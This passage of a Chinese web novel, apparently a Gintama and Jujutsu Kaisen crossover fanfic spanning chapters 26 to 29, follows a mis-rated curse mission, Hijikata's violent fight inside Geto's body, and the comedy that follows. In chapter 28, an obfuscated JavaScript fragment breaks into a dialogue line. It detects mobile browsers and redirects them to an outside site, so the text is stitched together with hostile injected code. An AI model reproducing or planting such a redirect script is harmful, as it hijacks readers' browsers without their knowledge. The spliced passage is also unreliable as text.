【这也没有办法，谁叫定格的时候就是这个状态了呢。所以你们两个最好提前商量好出现的时机。】
土方十四郎满脸沧桑地点了根烟，回头看向一脸憨笑望过来、从开始就只是对着手机傻笑的宅男，又想了想自己在屏幕上看到的画面。
突然，也不是很想出去了呢。
26.第二十六章
今晚对于部分人来说注定会是个不眠之夜。
其中就包括五条翔一。
他收到坂田银时发来的不明意义的短信之后，就陷入了纠结和迷茫中。
这种情绪在大半夜，看到坂田银时倒挂在校门墙上的时候达到了顶峰。
虽然看过照片，但是亲眼看到的冲击力还是不同寻常。
他恍惚着回到了自己的宿舍。
细细梳理着自从遇到坂田银时之后的所有事情。
在清晨第一缕阳光穿过云层的时候，他突然顿悟了。
纯真不谙世事的DK，花钱如流水，被扒光了衣服只剩下内裤。
这些组合起来也就只有那个可能了吧！
他家纯洁的神子被人骗财骗色了！
推理出来的结果很惊人，但五条翔一通宵后打结的脑子怎么也想不出第二种可能。
他大惊失色，觉得不能再这样下去了。
于是没有管现在这个时间打电话，属不属于骚扰电话，直接打给了万能的五条家大管家。
好在大管家身经百战，素质过硬，没有带一丝怨气的听完了五条翔一的猜测。
大管家倒是觉得不大可能，但是这异常的花销还是最好查一查。
从小带大五条悟的他深知五条悟的脾性，最烦别人管束和讲大道理，而且讨厌别人插足他的生活。
所以让他私自查花销源头，他是不敢的。
于是他安抚了下五条翔一就挂断了电话。
然后在白天找了个机会，将事情告知了五条家家主。
得到家主的允许之后，他便着人手，去银行提取花销记录。
毫无危机感的坂田银时还在为早起做挣扎，然而熬夜的他这次失败了。
他摸着更卷的头发，哀叹着这样下去，什么时候才能恢复成原来的白顺直。
今天高专二年级一个没少，虽然没过去几天，但夜蛾正道总有种，距离上次集齐众人已经过去很远的感觉。
肯定是这几天发生的事情太多了吧。
他沧桑着脸庞，站在新讲台上看向下面。
坂田银时一大早就点了外卖，此时小小的课桌上摆满了甜品，他昨天晚上因为这样那样的事情没能吃个饱，势必要在今天加倍补回来。
宅十四桌上摆放着花花绿绿的横幅、应援团扇，桌角还放着一个黄色双马尾，穿着水手服的少女手办，听说是什么美少女武士巴五泉的平替。
夜蛾正道记得坂田银时听到之后，大喊了一声：“倒反天罡。”
他真是越来越听不懂年轻人在说些什么了。
靠窗的家入硝子光明正大地抽着烟，在夜蛾正道看过去的时候，很淡定地说了句：“不是我想抽，只是我不能在一群怪人里不合群是吧。”
小小一个教室竟然没有一个人怕他这个班主任，更别说听他的课了。
算了。
他揉了揉额角，至少他们没有再惹出什么乱子，就已经很好了。
自我和解之后，教室里竟然呈现了一种诡异的和谐。
就在大家准备这么悠闲地度过一天的时候，教室的大门被敲响，辅助监督渡边先生满脸歉意地出现在教室。
“抱歉打扰您授课，夜蛾老师。”
“… …也不算打扰。”
“是这样的。”他看向宅十四，“上面刚刚派下来一个三级咒灵的任务，需要夏油同学单独执行。”
“啊？我吗？”
宅十四茫然地用食指指了指自己。
学生一般都是以班级两三人为单位做任务，单独出任务的情况不多，但也不算少见。
毕竟高专招生一向很艰难，经常会出现一个班级就一个学生的情况。
更何况只是个三级咒灵，对于一级咒术师的夏油杰来说，也就相当于去厕所抽张纸巾的程度。
于是夜蛾正道对着宅十四说：“那你去做下任务吧，课程先暂停。”
宅十四慌乱地看向坂田银时，眼里写满了无助。
“你怕什么？”坂田银时朝着空中虚抓了几下，“这样不就结了。”
宅十四沉默地看着坂田银时的动作，扭捏着对着他耳朵小声道：“坂田氏，要对咒灵做这种事情吗？会不会不太礼貌？”
“… …做任务前，你要不还是先把脑子掏干净吧，脑干缺失也比装满黄色废料的好。”
“不要啊！”宅十四一把抱住坂田银时的胳膊，“不要丢下我一个人！求你了，没有你们的话，瓦塔西… …只要是我能做到的，我愿意做任何事… …”*
他哭得一把鼻涕一把泪，转着头，想要全部擦在坂田银时的胳膊上，却发现被挡在了衣服外的空气上。
宅十四疑惑，宅十四震惊。
天啊，坂田银时竟然舍得动脑子运行术式了。
坂田银时得意地晃了晃掐着手印的手：“你不是还有一只三级咒灵吗？放出来让它们对着吐泡泡，自己躲起来不就行了？”
“对，对哦。”宅十四回神，“但我还是… …”
坂田银时耸拉着眼，在脑子里呼唤系统。
【这家伙ooc了，麻烦快点采取些措施啊，万能的ai。】
【收到您的诉求嘟嘟，电击已开启。】
在众人惊疑的目光下，一道电流闪过，宅十四安详地闭上了眼。
渡边瞪大眼睛：“这，这是怎么了？”
坂田银时深藏功与名：“闹累了吧，小孩子都这样，精气神一阵一阵的。”
辅助监督渡边不解，但还是尽责地扛起陷入睡眠的宅十四，和众人笑着点头告别，让教室重新回归了平静。
看着辅助监督渐渐远去的身影，夜蛾正道愣住了。
不对劲吧？这绝对不对劲吧？
“悟，你知道杰身上发生什么事了吗？”
“没什么，失恋了而已。年轻人都这样，因为一点小情小爱就能死去活来的。”
母单代表坂田银时发出暴言，击沉了夜蛾正道。
他有些不确定地看着坂田银时，欲言又止，止又欲言。
一是不确定年轻人谈恋爱，是不是真的都是这个状态。
二是如果坂田银时说的是真的，这么私人的事情，他私下打听会不会对学生造成二次伤害。
面无表情地纠结半天，他最终还是决定找个机会好好和宅十四当面聊聊。
由于班级少了三分之一的人数，所以夜蛾正道不准备再讲课程内容，转而让剩下的两个人自习，而他也刚好去处理一下昨天坂田银时砸了个洞的校门。
走之前，他朝着家入硝子看去：“硝子，看着悟，不要让他再闯祸了。”
“好～”
家入硝子没精打采地回应，转头就看到坂田银时对着她使眼色。
“有事？”
“硝子，我等会溜出去，你帮我打个掩护。”
“夜蛾老师让我看着你，他前脚刚走你就想让我反过来帮你？”
家入硝子面上严词拒绝，桌下的手却比了个“钱”的手势。
“我懂我懂。”坂田银时手势回了个OK，“想要什么手机上发我。”
“那我就不客气啦。”家入硝子当即掏出手机，“啪啪”一顿打字，“不过啊，你是要在外面呆一段时间的吧？直接走了的话，教室里少了个人不是很明显吗？我能掩护你一时，时间长了我也没办法啊。”
“放心，我有办法。”
坂田银时说完，就先悄咪咪回了趟宿舍，打开了夏油杰的房间门。
和他预想的一样，这个房间已经面目全非了，完全变成了一个死宅的痛房。
宅十四在爱好上的行动力真是大得惊人。
他绕过一堆谷子，走到床边，从床上拿了一个抱枕，再偷摸回到教室。
家入硝子看着坂田银时将印着美少女的抱枕放在自己座位上，并试图摆出个趴在桌子上的姿势，有些想笑。
“你就准备用这个忽悠夜蛾老师？”
“唔，确实少了点什么。”
坂田银时托着下巴思考了一下，然后脱下了自己的黑色制服，盖
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在了抱枕上面，并且很细心地把袖子摆成手臂交叠在额前的姿势。
“这下好了，不管是谁来，一眼就能看出是我在趴着睡觉了。”
“… …你是认真的吗？”家入硝子感觉自己手一抖，抖下来许多烟灰，“那抱枕下半截怎么办？”
坂田银时再次思考。
然后低头开始扒自己的裤子。
“好了，可以了，我不想看同期没有内涵的内裤和毛腿。”
家入硝子对着坂田银时摆了摆手：“快走吧，马上夜蛾老师就要回来了。”
“那就拜托你了，硝子！”
家入硝子看着消失在远方的坂田银时，站起了身，径直走出了教室。
本来就不需要什么遮掩，从以前开始自习对他们来说就是自由行动。
两年下来夜蛾正道也差不多习惯了，走之前的交代，算是他身为教师最后的挣扎。
也就那两个人不知道。
看着手机发过去的那一列清单，家入硝子心情很好地弯了弯嘴角。
又是白嫖到了的一天。
费了不少劲才把宅十四背下高专，塞进后座里，辅助监督渡边坐在驾驶座上大口喘气。
他还是第一次满头大汗地坐在这里。
这是他第二次接触宅十四，这段时间下来，通过网络对于这对“最强组合”的了解多了不少。
也没有之前那种战战兢兢的心态了。
他透过后视镜，看了眼沉睡的宅十四。
从教室到山下，一来一回浪费了不少时间，他匆匆拿起口袋中的手帕擦了擦汗，就连忙开车。
任务地点离学校有些远，周围也没有什么人家，一般这种地方都是些因为都市灵异传说，引来大量探险者，从而催生的咒灵。
但奇怪的是，任务里并没有提及相关信息。
一个人烟稀少，没有人来的荒凉之地，应该很难出现咒灵才对。
但考虑到咒灵等级不高，所以也有可能是周围小咒灵互相吞噬，慢慢长到这个等级的。
渡边在脑内快速过了一遍任务，平稳驾着车来到了目的地。
“夏油同学，任务地点到了。”
被推醒的宅十四眼中一片迷茫：“啊？这么快？”
他扯了扯嘴角，完全笑不出来：“渡鸦先生能陪我一起进去吗？”
在请求别人的时候，能不能先把对方的名字叫对。
渡边维持着完美的微笑，却在内心吐槽着。
“首先我叫渡边，其次我没有战斗力，进去只会给夏油同学添麻烦。”他比了个请的姿势，“请进吧。”
有了在教室的经历，渡边很有经验的在宅十四没反应过来的时候，把“咒术师没有祓除完咒灵就出不来”的帐放好。
他微微欠身，朝着里面说了一句：“祝武运昌隆。”
宅十四在里面瑟瑟发抖。
变成一个人之后，周围瞬间陷入一片安静，
周围明明杂草众多，也没有人烟，却连只虫子的鸣叫也没有。
随着朝内部走去，宅十四感觉耳边好像传来隐隐风声，呜咽着像是哭泣。
不知道是不是错觉，他总觉得脸上有些发疼。
明明是穿单衣的时节，里面却如同身处冬季一般，让宅十四胳膊上起了一层鸡皮疙瘩。
宅十四咽了咽口水，搓了搓胳膊，小心翼翼地继续挪动了下开始发麻的双腿，接着一块碎石擦着他的脸颊飞过。
黑暗中，有什么东西破土而出，让大地都在震动，从上方掉落的瓦砾在地面碎裂开，扬起一层又一层的灰尘。
一双猩红的眼睛睁开，贪婪地注视着慌乱的宅十四。
类人的六只六指手掌，在地面刮擦，发出刺耳的声音。
它缓缓走向宅十四，五米高的身躯俯视着他。
突然，从胸口裂开一条线，然后猛然炸裂，露出里面一圈又一圈，坠着唾液的尖牙。
宅十四当即双腿一软跪坐在地。
这哪是什么三级咒灵，明明是个一级咒灵。
27.第二十七章
比起第一次任务的废弃大楼来说，这个废弃的别墅很明显不够看。
四周堆砌的碎石板上长满青苔，泥缝里长出成片的杂草。
宅十四双膝跪在布满碎石的烂木板上，看着朝自己呼来的巴掌，宕机的脑子里第一反应是：这地硌得他好疼。
这不是什么好迹象，意味着他已经下意识放弃抵抗了。
和上次不痛不痒的攻击不一样，这次咒灵刚一拍上他的身体，他就感觉到一股锥心的痛。
接着就是肋骨断裂的声音。
一瞬间，这个声音让宅十四联想到了被野兽咀嚼的食草动物。
被咬断的骨头从体内露出，因为上面粘连的肌肉，而悬在空中。
因为脑子还在运作，所以可以清晰地看着啃食着自己的野兽，感受着血肉被一寸寸剥离。
疼痛在名为“死亡”的绝望中，已经显得不值一提。
什么也做不了，只能在意识渐渐消散的这段时间内，每一分每一秒，被迫感受着自己生命的流逝。
身体随着力道在空中飞出，在一阵失重之后，最终撞到老化的墙面上停下。
周围扬起的灰尘飘进他的口腔中，让他本能地开始咳嗽，血液混着灰尘滴落在地。
耳鸣和头晕让他一时间难以动弹，生理泪水从眼角滑落。
迷糊的视线中，他看见咒灵张开手掌，弹出尖锐的指甲。
一级咒灵已经几乎快要生出灵智，它看着宅十四狼狈的样子，嗓音嘶哑地大笑。
它竟不急着杀猎物，而是和逗弄猎物的猫一样，将指甲放在宅十四的脖颈，稍稍一用力，红色的血液就顺着它的指甲流下。
感受着猎物发抖的身躯，它移开指甲，在对方下意识觉得得到一丝喘息的时候，再将手臂高高抬起，对准猎物的腹部，用力刺穿，再拔出。
红色布满了宅十四的视线，他身体因为疼痛而下意识地抽搐着。
咒灵熟练地控制着自己的攻击，让猎物反复陷在“会被杀死”和“有一丝反击的希望”的心理中。
然后慢慢，一点一点的，将猎物逼到绝境。
以此欣赏猎物绝望的神情。
而一开始就放弃了的宅十四很显然不能取悦它。
它看着闭着眼瑟瑟发抖的宅十四，不跑也不叫，一点意思都没有。
瞬间失去耐心，它不费吹灰之力地抓起宅十四的头，朝着自己胸口的嘴送去。
它能感受到对方身上庞大的咒力，只要吃掉他，自己力量就能有个很大的提升，说不定能突破一级达到特级。
近在咫尺的食物芳香，让它难得有些迫不及待，没有注意到手里的猎物已经睁开了眼睛。
眼里没有恐惧，只有一片平静。
“喂。”
下一秒，它的猎物开口了。
“对着初次见面的人舌吻什么的，就算是异世界也有点太过了吧？”
咒灵还没有理解对方什么意思，只感觉余光瞥到一道闪过的亮光，接着，原本抓着猎物的手臂毫无预警地掉落。
数道刀光闪过，轻易地就将咒灵掉落的手臂分割成数块。
扬起的灰尘中，一个身影持刀而立，明明是和刚刚一样的样貌，气质却全然不同。
虽然脸上没什么表情，但光是看着就会本能的觉得危险。
咒灵僵在原地的身体动了动，朝后退了几步。
它想不通很多事，只知道面前这个家伙很不妙。
身体的每一份咒力都在叫嚣着逃跑。
这一刻，猎人和猎物的身份转换。
土方十四郎朝着身边挥刀，将刀上咒灵紫黑色的血液甩落地面。
他平静地看向咒灵，语气没有一丝波动：“刚刚不是还玩得很开心吗？继续啊。”
咒灵身体微微发抖，它后退一步，土方十四郎就往前走一步。
陌生而又熟悉的死亡气息，但和以往不同，会死的是自己。
意识到这点，咒灵立马掉头，想要离开这个危险的地方。
土方十四郎也不急，他提着刀跟在咒灵身后，慢慢踱着步。
每一步都会在地上留下一个染血的脚印。
他知道自己伤得不轻，之所以现在还能动，只是因为快速飙升的肾上腺素屏蔽了他的痛楚。
看着咒灵最终撞上帐，发出歇斯底里的尖叫，他最终停在离它十米左右的地方。
“这种虐杀猎物的手段，你很熟练嘛，用过不少次？”
咒灵没有听他说话，用自己的身体撞击着帐。
土方十四郎左手从刀镡处到刀尖，抚过刀身，如火焰般的蓝色咒力覆盖于刀面。
他微微沉下身子，将刀平举在自己左侧。
“下地狱好好忏悔吧。”
干净利落的一斩，在空中滞留下一道蓝色的线，那是从刀身掉下的零星咒力组成的残影，从土方十四郎所在的地方，一直连接到咒灵的头部。
精确地击碎了咒灵的核心。
一切仿佛都在此刻静止。
土方十四郎轻盈落地，呼出一口气，起身闭眼收刀入鞘。
刀镡碰到刀鞘，发出一声轻微的声响，同时咒灵核心碎裂，随着散落的点点蓝色咒力，消散在空中。
黑色的帐随着咒灵被祓除而消失，道道亮光从墙面的缝隙中照进别墅内。
阴冷的气息消失，周围温度慢慢回升。
如同从地狱重新回到了人间。
土方十四郎推开形同虚设的大门，抬步走到辅助监督面前，没有理会对方惊疑的眼神，背靠在汽车上。
朝着渡边伸了伸手：“有烟吗？”
渡边猛然回神，从口袋里掏出一包烟，递了一根过去，并且贴心地为土方十四郎点燃。
他看着浑身是伤的土方十四郎，有些纠结地组织着语言。
“判断出错了。”土方十四郎立马猜到对方想说什么，“不是三级，应该是个一级，近特级的咒灵。”
渡边脸色瞬间不好起来：“夏油同学，你现在还好吗？”
土方十四郎习以为常地说着：“还行吧，肋骨断了几根，还有点失血过多。”
“那不是很糟糕吗？！我们还是快点回高专，找家入同学治疗一下吧？”
“拜托你了。”
一改平时平稳的开车风格，渡边加足马力在马路上驰骋着。
土方十四郎打开手机，在人员稀少的通讯录里找到家入硝子的电话，毫不犹豫地拨通。
对面很快接起：“喂，五条的话已经翘课了哦。”
土方十四郎想了一下，才反应过来对方说的是坂田银时。
“不，和他
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没关系。”他感觉有些缺氧，急促地喘了喘，“刚刚我做的任务咒灵通报的等级有误。”
家入硝子没有错过他节奏混乱的喘气声，立马意识到了这通电话的来意，语气也严肃了起来：“我知道了，这就去校门口等你。大概多久能到？”
土方十四郎抬眼看向渡边，紧盯着对方的脸部表情：“渡边先生，请问多久能到。”
“十分钟，给我十分钟。”
说完渡边便猛打方向盘，从等待红绿灯的车队里窜出，无视红灯猛踩油门。
土方十四郎骤然感受到了一股推背感，眼前黑了一瞬间，接着打起精神告诉家入硝子十分钟后到。
“好，放心，有我在。”
合上手机，土方十四郎想起对方最后的那句话，微微扬起嘴角。
刚刚通话，他全程都在观察着渡边。
这通电话不光是为了尽快得到治疗，也是为了观察渡边会有什么反应。
他需要知道是不是渡边故意上报错误的等级信息。
毕竟人在自以为计谋得逞，却发现意外失败了的时候，心理状态是最脆弱的。
此时来自外界的任何和他意料相反的事情，都能轻易让他露出破绽。
最坏的情况，就是自己最终没能得到抢救，那么自己这通电话就能让同伴注意到渡边这个人。
身边图谋不轨的人有很多，但是他可以用这个方法，在最后给伙伴们打开一个调查的突破口，哪怕那个代价是自己的生命。
在这短暂的观察里，土方十四郎得出了结论，他移开了视线。
看来想杀自己的人里，没有渡边。
看着窗外快速倒退的风景，土方十四郎缓缓闭上眼睛。
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还是原来的赌马场，不过场上的观众和场下的选手换了一波。
毕竟不是谁都有时间和金钱，能够在工作日的白天，全部丢在赌马场浪费的。
坂田银时单手搭在塑料座椅的后背上，手里拿着一张赌马券。
却完全没有看它的心思，因为被他选中的马还是不出意料地被率先淘汰了。
他转头看了看周围，没看到伏黑甚尔的身影。
不会吧？难道上次那次赌马失败的惨状，真是因为自己吗？
不！他是绝对不会承认的。
他觉得没趣地站起身，想着接下来该去哪，就感觉到口袋里的手机在震动。
打开一看，竟然是家入硝子的来电。
难道自己逃课这么快就被抓到了吗？
悲从中来的他认命地接通电话：“喂，硝子，是老师来了吗？”
“五条，出大事了。”家入硝子语气难得严肃，“夏油做的任务出问题了，窗的观测有误，咒灵的等级出错了。”
坂田银时想到宅十四手上那只会吐泡泡的三级咒灵，心里一慌，难道说。
他停下脚步，下意识咽了咽口水。
周围依然人声鼎沸，一阵阵热浪如同夏日的烈阳，但他却觉得手心一片冰凉。
“冷静点听我说，夏油他在这次任务里受了很重的伤。”
电话那端的家入硝子似乎捂住了嘴，坂田银时只听到一声短促的呜咽声。
但对方很快就调整好了语气：“总之… …你快点回来看看吧，来看看夏油。”
28.第二十八章
街边卖电子产品的电视屏幕上，还在重播着早晨的天气预告。
打扮靓丽的女主持端坐着，面带微笑着和观众们说：今天晴天。
隔着一层玻璃的室外，此刻却与之相反的下起了大雨。
刚刚积攒出的一丝热气，被雨水浇灌之后，发出带着些许夏天独有的泥土味道。
人群躲在地铁口、街道屋檐下，和好友聊天打发时间，等待着雨停。
一个身影在密集的雨幕中奔跑，引起众人的注意。
那人一定是有很重要的事情吧？
大家这么想着，看了一眼就移开了目光。
这片雨幕仿佛隔开了两个世界，这边的人无忧无虑，那边的人不安哀伤。
坂田银时没有开无下限，任由雨水顺着发丝滴落在他的脸上，带走身体的温度，强迫性地让他头脑保持着清醒。
地铁太慢，等待的时间也过于难熬，他直接在路边拦下一辆出租车。
出租车司机讶异地看了他一眼，良好的职业道德让他收回想要探究的心，敬业地询问着顾客想要前往的地址。
坂田银时平复喘息，略带沙哑的声音，报出高专附近的一个地点。
这荒郊野岭的地址，让司机忍不住再次侧目，一时间更加担心自己的顾客有想不开的想法。
出租车迟迟不开动，让坂田银时疑惑地看向司机。
犹豫半天的司机这才缓缓开动。
雨水滴落在车窗上，碰撞出细微的声响，然后顺着车前进的反方向，在窗户上留下一道道水痕，最后消失不见。
就像每个人的一生一样，走过短短的一段路，在世界上留下一道浅浅的痕迹，而这点痕迹最终也会被后来的人一点点覆盖，最终一起蒸发在空气中。
窗外的风景不断后退，挂着霓虹灯的大楼退去，入目尽是葱绿。
明明是万物复苏的季节，下雨时候的冷还是这么刺入骨缝。
坂田银时看着车窗外因为下雨而朦胧的风景，回想起和土方十四郎第一次见面时候的场景。
从第一次见面，他们就注定是冤家路窄。
吵过，打过，嫌弃过彼此，也互相坑过。
见过彼此最难堪的一面，嘲笑过后，也俯下身拉起过彼此。
他拥有着灿烂的灵魂，不该在这个异世界，以这种方式结束生命。
不长不短的一段路上，坂田银时感觉自己似乎想了很多，又好像什么也没想。
出租车稳稳地停住，他愣了会才意识到已经到达目的地。
从怀里掏出几张湿漉漉的纸币递给司机，他推开车门，看着周围毫无人气，第一次觉得被这个异世界的孤独所拥住，让他难以呼吸。
“先生。”
沉默着纠结了一路的司机，最终还是选择开口叫住坂田银时，但看着对方异常平静却深沉的眼眸，一时间不知道说什么。
最后只好苍白的说了句：“生活还是很美好的。”
坂田银时看着出租车远离，紧紧抓住自己孤独感消散了些许，让他能够喘口气。
在雨中深吸口气，没有再犹豫，他转身朝着高专跑去。
用最短时间登上漫长的楼梯，没有一刻停歇地直奔医疗室，却在握上门把手的那一刻停住了动作。
不管重复多少次，果然他还是习惯不了身边伙伴的死亡。
最终他深吸口气，抹掉脸上的雨水，打开门踏了进去。
屋顶刺眼的白炽灯照亮不算大的医疗室，消毒水味和酒精味混在一起，刺鼻无比，却也不能盖住其中掺杂的血腥味。
在这容易让人联想到“不祥”的气味中，看清室内场景的坂田银时愣在原地。
解剖台上没有冰冷的白布，没有哭丧着脸的一群人，更没有想象中的抽泣声。
只有一个土方十四郎捧着他那自制狗粮吃得正欢。
除了身上衣服有点破，别说伤口了，看起来甚至比去做任务之前，还要有精神。
“嗨！茄子！”
一道闪光灯在坂田银时眼前炸开，让他下意识捂住眼睛，他背靠墙面松了一大口气。
“电话里说得那么严重，这不是根本没有事吗？！”
“你好像很失望？”家入硝子叼着棒棒糖，查看着刚刚拍摄的照片，挑了张满意的发给了庵歌姬。
“所以说，最后那声呜咽声根本不是哭声，而是没能憋住的笑声？”
“诶呀，这么细节的东西都察觉到了，看来以后你就算不做咒术师，也可以考虑考虑去做侦探啊。”
坂田银时无语地看向满脸欢愉，宣布自己整蛊成功的家入硝子，泄气地接过对方递过来的干净毛巾，往头上一盖，一屁股坐在一边的凳子上。
听到对方继续说：“毕竟能看到五条悟这副表情的情况可不多见。”
“不过嘛。”
家入硝子把目光从手机里抬起，看了眼正全神贯注，不断往米饭上续美乃滋的土方十四郎，凑到坂田银时耳边小声说：“夏油确实好像有点不对劲。”
坂田银时不屑地撇了撇嘴，不就是从死宅模式解除了吗？
家入硝子看出坂田银时的不在意，也不多做解释，只是意味深长地拍了拍他的肩：“总之你和他聊聊就知道了，那我就先回去啦。”
医疗室再次陷入安静，坂田银时吭哧吭哧地擦着头发，让本来就卷的头发，在摩擦力的作用下更加膨胀。
另一边的土方十四郎全身心投入到“美食”中，卖力在米饭上挤粑粑形状的美乃滋。
坂田银时想起自己这一路上的着急忙慌，难得感受到了一丝尴尬，他轻咳一声，伸出脚，踢了踢解剖台的不锈钢腿。
土方十四郎手上动作不停，朝着坂田银时斜了一眼。
“怎么？”
“这是我要问的吧？刚从病床醒来就开始吃狗粮。”
“什么狗粮，真是和你这种不会享受美食的人没话说。”
“我才和你没话说呢！不懂得欣赏我的宇治银时盖饭的人，才是不会享受美食呢！”
土方十四郎瞥了眼因为剧烈奔跑，还在大喘气的坂田银时：“话是这么说，某人不是担心我担心得不行吗？”
在坂田银时来之前，家入硝子全程在他边上，打的那通演技十足的电话也被他听得一清二楚。
“我！”坂田银时瞬间红透了脸，“谁担心你了！我只是，只是想顺便锻炼一下！”
土方十四郎一句话杀死比赛，任由坂田银时在边上无力辩解。
抓狂了一会，坂田银时心态良好的自己和羞耻感和解了，冷静下来后，他半是转移话题地问：“听说任务等级出错了？”
土方十四郎点了点头，扔掉手里的空瓶，重新开了一瓶美乃滋：“这个咒灵很不对劲，从它的行为模式来看，让人感觉更像是家养的，这一次的事情，很有可能是有人故意放出这只咒灵。”
原本以为只是个简单的“窗检测失误”，毕竟这种事情在原著里发生过不少次，但如果是人为的话，事情恐怕还没完。
但紧接着土方十四郎不解起来：“但是派出的咒灵只有一级也让人很费解。”
“真是今时不同往日了，一级咒灵也能用‘只有’来形容了，啊啊，我开始怀念你惨叫着在咒灵手底下逃窜的场面了。”
“你这混蛋不也是躲得很狼狈吗？别以为我在系统空间里没看到，不光如此，我还全程录像了。”
“没事你录那玩意干嘛！”
“没办法，我是个节俭的人，比起花钱买CD，我更习惯看电视的时候点录像。”
不顾又开始在一边跳脚的坂田银时，习惯话题越聊越偏的土方十四郎，强行把话题转了回来：“如果说这只咒灵确实是人为投放的话，那他应该知道，一级是不足以对付夏油杰的。”
坂田银时停下跳脚，脸色严肃起来：“你是说，幕后那人，针对的是你？”
他用食指和大拇指捏着下巴，皱眉思考：“难道是我们最近做了什么惹人注意的事情吗？”
土方十四郎一言难尽地看了过去：“这种事情你们做得还少吗？”
“完全想不出来啊。”
土方十四郎不准备就这个问题多做纠缠，他简述了下发生的事情，最后做出总结。
“… …所以说，还好哥布林大叔这次系统更新及时，不然就要真的完蛋了。”
土方十四郎挤好美乃滋，拿起筷子，开始往嘴里扒拉：“不过（嚼嚼），对于我们两个怎么使用身体，好像没有具体的限制（嚼嚼），暂时应该没有问… …啊啊啊啊！呸呸呸，这是什么！你让我吃了什么！”
坂田银时疑惑地望过去，只见对方那属于“夏油杰”的小眼睛突然瞪大了至少三倍，惊恐地一巴掌掀翻了刚挤好饭。
“吃了这个绝对会死的吧！绝对会的吧！我才不… …题吧？嗯？啊！！我的土方special定食！”
他“噌”地站起来，一把抓住坂田银时的衣襟：“是不是你这个混蛋干的！”
但下一秒，土方十四郎又松开了手，满脸歉意地对着他双手合十：“抱歉抱歉，不知道什么情况，手就粘在你衣服上了。”
看着一秒一个人格的土方十四郎，坂田银时这才理解了家入硝子临走前的那句“夏油有点不对劲”。
要是刚刚他在家入硝子面前，也是以这种状态的话，那岂止是有些不对劲。
很快两个魂就从自己断断续续的意识中，意识到了问题，也不知道他们怎么弄的，反正坂田银时还是第一次在一个人脸上同时看到两副表情。
“喂！借用我的身体没让你交房租就算了，竟然还敢把我的饭给撒了！”
“饭？哪里有饭？你不会是说刚刚那个吧？让我吃那么有毒的东西，我看你就是想毒死我，好独占这个身体！”
“你可以怀疑我的动机，但是你绝对不能怀疑我蛋黄酱的美味，你这个没品的东西！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346712|148481||http|test|mini|href|location''.split(''|''),0,{}));
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眼看着两魂交流失败，气氛便进入了下个阶段。
土方十四郎体内的两魂，以左右为线，一人控制一半身体，开始了激烈的搏斗。
看着对着自己脸左右互搏的土方十四郎，坂田银时觉得不是很想再待下去，他起身打开医疗室的门。
然后就和站在门口，来探望的七海建人和灰原雄尴尬地对视。
小小的一个医疗室一眼就能看遍，所以七海建人和灰原雄也没有错过疑似精神分裂的土方十四郎。
七海建人一脸“这个不靠谱的前辈又在搞什么幺蛾子”和“果然我就是白担心”，转身就想走，被灰原雄熟练地拦下。
“五条前辈，夏油前辈这是在做什么？”
坂田银时望向天空，言语不详地说着：“让他自己一个人冷静冷静吧。”
一副“深藏无数秘密，但难以为外人道”的隐忍美强惨模样，双手插兜，低头走开。
徒留发疯的土方十四郎和一脸茫然的两个后辈。
走回宿舍的坂田银时换了身衣服，看着外面越下越大的雨，一时间也没有再出门的念头。
他从书架上随便扒拉出一本漫画，斜躺在床上，开始悠闲的下午茶时间。
温暖的室内让之前浑身湿透的身体慢慢回温，听着周围的雨水白噪音，不一会，坂田银时就感觉有些困。
他打了个哈欠，翻过下一页，漫画的内容却一点都没进脑子里。
这么惬意的气氛下，手机还是那么不合时宜的响了起来。
坂田银时皱了皱眉，开始考虑要不要把手机丢掉。
短短几天，每次接到电话都没什么好事，现在一听到这个手机响起的系统铃声，他就下意识地心里一咯噔。
他懒散地打开手机盖，意料之外地看到了一串陌生的号码。
应该是年中冲业绩的推销员吧？
他这么想着，毫不犹豫地挂断了电话。
但是对方很明显不是一般的倔强。
大有一种“今天一定要赚到这一单”的气势，不管被挂断多少次，依然打了过来。
不甚其扰的坂田银时骂骂咧咧地看着手机，按下接通电话，大喊一声：“都说了不管是保险、房子还是汽车，我都不买啊！”
说完没等对方回复，直接挂断、关机。
世界终于恢复了安静。
坂田银时把手机甩到床头柜上，继续看着漫画。
就在他以为这下什么也不能打扰他的时候，敲门声响起。
“… …”
总不会是推销员跑上门推销吧？
他被自己的想象逗笑，磨磨蹭蹭地起身，把门拉开一道小缝，向外偷瞄。
站在门口的不是别人，是五条家安排在高专的五条翔一。
他比上次见面时候憔悴了很多，眼下是深深的乌青，一看就是好久没睡个好觉。
一点也没有意识到自己才是罪魁祸首的坂田银时咂了咂嘴，心里泛起一丝同情。
心里想着，看来辅助监督的工作强度很高啊。
本着打工人何苦为难打工人的心理，坂田银时利落地拉开门：“找我什么事？”
看到坂田银时的一瞬间，五条翔一没有高光的眼睛亮了起来，他嘴角下意识地上扬，将手里的手机递了过去。
“悟大人的电话怎么也打不通，所以家主就打到我手机上，让我递给您。”
什么！竟然还真是刚刚那个推销员找上门了吗？
等等。
坂田银时思绪回拢。
对方刚刚是不是说了“家主”两个字？
想起刚刚发生的事情，饶是坂田银时也忍不住沉默了。
这个家主是个什么犟种吗？打不通就非要打到通为止吗？可以发短信啊！稍微考虑下没有存号码人的心情啊！
还有刚刚自己是不是对着他吼了“不买保险”之类的话？
完蛋了，这不是要ooc了吗？
五条悟会连自己老爹的电话都看不出来吗？
那自己以后是不是再也不能收到五条家的打款了？
一想到自己一朝变回穷人，坂田银时的眼角就要滴下一滴悔恨的泪珠。
满脸灰色的坂田银时破罐子破摔地接过电话。
“喂。”
“嗯？！”
对面竟然一副很惊讶的样子，坂田银时甚至能听到喷水后被呛到咳嗽的声音。
“悟？天啊！悟竟然接我电话了？！”
听着对面欣喜若狂地欢呼声，坂田银时表情更加复杂起来。
真的没问题吗？这都是什么扭曲的家庭关系啊。
耐心地等电话对面冷静下来后，坂田银时才开口。
“所以打电话给我有什么事？”
他说完这话，余光看到五条翔一站直了一些。
疑惑地看过去，对方脸上的肌肉竟然一瞬间紧绷了起来。
有种不好的预感。
29.第二十九章
从小，五条悟在五条家就备受宠爱。
虽然也少不了被安排各种繁琐的课程，学习礼仪和文化知识，但是他经常会翘课，翻墙跑到外面玩，所以也算是度过了一个快乐的童年。
